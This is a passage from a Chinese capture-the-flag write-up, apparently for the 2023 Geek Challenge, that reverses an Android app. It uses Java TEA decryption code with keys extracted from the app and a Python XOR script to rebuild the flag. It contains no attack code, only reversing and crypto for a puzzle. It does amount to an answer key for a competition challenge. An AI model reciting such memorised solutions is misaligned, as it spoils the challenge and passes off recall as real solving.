encint[i / 4] = ByteArrayToInt(temp);
}
// 打印转换后的整数数组
for (int i : encint) {
System.out.println(i);
}
}
// 将低字节在前转为int,高字节在后的byte数组
public static int ByteArrayToInt(byte[] bArr) {
if (bArr.length != 4) {
return -1;
}
return (int) ((((bArr[3] & 0xff) << 24) | ((bArr[2] & 0xff) << 16) | ((bArr[1] & 0xff) << 8) | ((bArr[0] & 0xff) << 0)));
}
}
到下面就是典型的tea加密,但一开始我是懵逼的,tea加密的典型特征就是key是4个32位无符号整形,但是他有负数,然后上网查询得知是Java的tea加密,他会在中途转换成无符号型,然后就是顺序问题,看好前面v9 – v11的赋值顺序以及后门对于密文的赋值顺序,v10充当了两次tea加密中的v1,所以第一解密v10后要继续进行用tea解密v9,记得观察sum等值的变化,以及密文的传输的顺序
public class Tea {
//加密
public byte[] encrypt(byte[] content, int offset, int[] key, int times){//times为加密轮数
int[] tempInt = byteToInt(content, offset);
int y = tempInt[0], z = tempInt[1], sum = 0, i;
int delta=0x9e3779b9; //这是算法标准给的值
int a = key[0], b = key[1], c = key[2], d = key[3];
for ( i = 0; i < times; i++) {
sum += delta;
y += ((z<<4) + a) ^ (z + sum) ^ ((z>>5) + b);
z += ((y<<4) + c) ^ (y + sum) ^ ((y>>5) + d);
}
tempInt[0]=y;
tempInt[1]=z;
return intToByte(tempInt, 0);
}
//解密
public byte[] decrypt(byte[] encryptContent, int offset, int[] key, int times){
int[] tempInt = byteToInt(encryptContent, offset);
int y = tempInt[0], z = tempInt[1], sum = -(1640531527*32), i;
int delta=1640531527; //这是算法标准给的值
int a = key[0], b = key[1], c = key[2], d = key[3];
for(i = 0; i < times; i++) {
z -= ((y<<4) + c) ^ (y + sum) ^ ((y>>5) + d);
y -= ((z<<4) + a) ^ (z + sum) ^ ((z>>5) + b);
sum += delta;
}
tempInt[0] = y;
tempInt[1] = z;
// return tempInt;
return intToByte(tempInt, 0);
}
//byte[]型数据转成int[]型数据
private int[] byteToInt(byte[] content, int offset){
int[] result = new int[content.length >> 2]; //除以2的n次方 == 右移n位 即 content.length / 4 == content.length >> 2
for(int i = 0, j = offset; j < content.length; i++, j += 4){
result[i] = transform(content[j + 3]) | transform(content[j + 2]) << 8 |
transform(content[j + 1]) << 16 | (int)content[j] << 24;
}
return result;
}
//int[]型数据转成byte[]型数据
private byte[] intToByte(int[] content, int offset){
byte[] result = new byte[content.length << 2]; //乘以2的n次方 == 左移n位 即 content.length * 4 == content.length << 2
for(int i = 0, j = offset; j < result.length; i++, j += 4){
result[j + 3] = (byte)(content[i] & 0xff);
result[j + 2] = (byte)((content[i] >> 8) & 0xff);
result[j + 1] = (byte)((content[i] >> 16) & 0xff);
result[j] = (byte)((content[i] >> 24) & 0xff);
}
return result;
}
//若某字节被解释成负的则需将其转成无符号正数
private static int transform(byte temp){
int tempInt = (int)temp;
if(tempInt < 0){
tempInt += 256;
}
return tempInt;
}
// 测试代码如下:
public static void main(String[] args){
int[] KEY = new int[]{//加密解密所用的KEY
2023708229, -158607964, -2120859654, 1167043672
};
Tea tea = new Tea();
byte[] info = new byte[]{
-91, -8, -110, -55, -6 , 114 , -91 , -118
};
System.out.print("原数据:");
for(byte i : info)
System.out.print(i + " ");
System.out.println();
byte[] decryptInfo = tea.decrypt(info, 0, KEY, 32);
System.out.print("解密后的数据:");
for(byte i : decryptInfo)
System.out.print(i + " ");
// byte[] secretInfo = tea.encrypt(info, 0, KEY, 32);
// System.out.print("加密后的数据:");
// for(byte i : secretInfo)
// System.out.print(i + " ");
// System.out.println();
// byte[] decryptInfo = tea.decrypt(secretInfo, 0, KEY, 32);
// System.out.print("解密后的数据:");
// for(byte i : decryptInfo)
// System.out.print(i + " ");
}
}
84,48,86,116,51,51,84,110,48,105,116,114
最后得到了结果,我们可以提前去手机里实验一下答案对不对,发现他跳转到了mainactivity2,他在最后会判断他与我们的mainactivity1中的加密的密文进行比较,比较成功才会开启mainactivity2
接下来我们就可以把目光放在mainactivity2中,分析代码就是异或,但是要注意,我们不要拿我们逆向完成后的结果去异或,卡了很久
# a = [-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80]
#
# b = [-107, -106, -95, -115, -119, 127, 26, 121, -62, -20, 86, 9]
#
# c = ''
# for i in range(len(a)):
# c = a[i] ^ b[i]
# print(chr(c),end='')
b = [84,48,86,116,51,51,84,110,48,105,116,114]
c = '0n3DF4itvc0Y'
flag = ""
for i in range(len(b)):
flag += chr(b[i])
flag += c[i]
print(flag)
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博:齐鲁师范学院网络安全社团
原文始发于微信公众号(齐鲁师院网络安全社团):2023极客大挑战-wp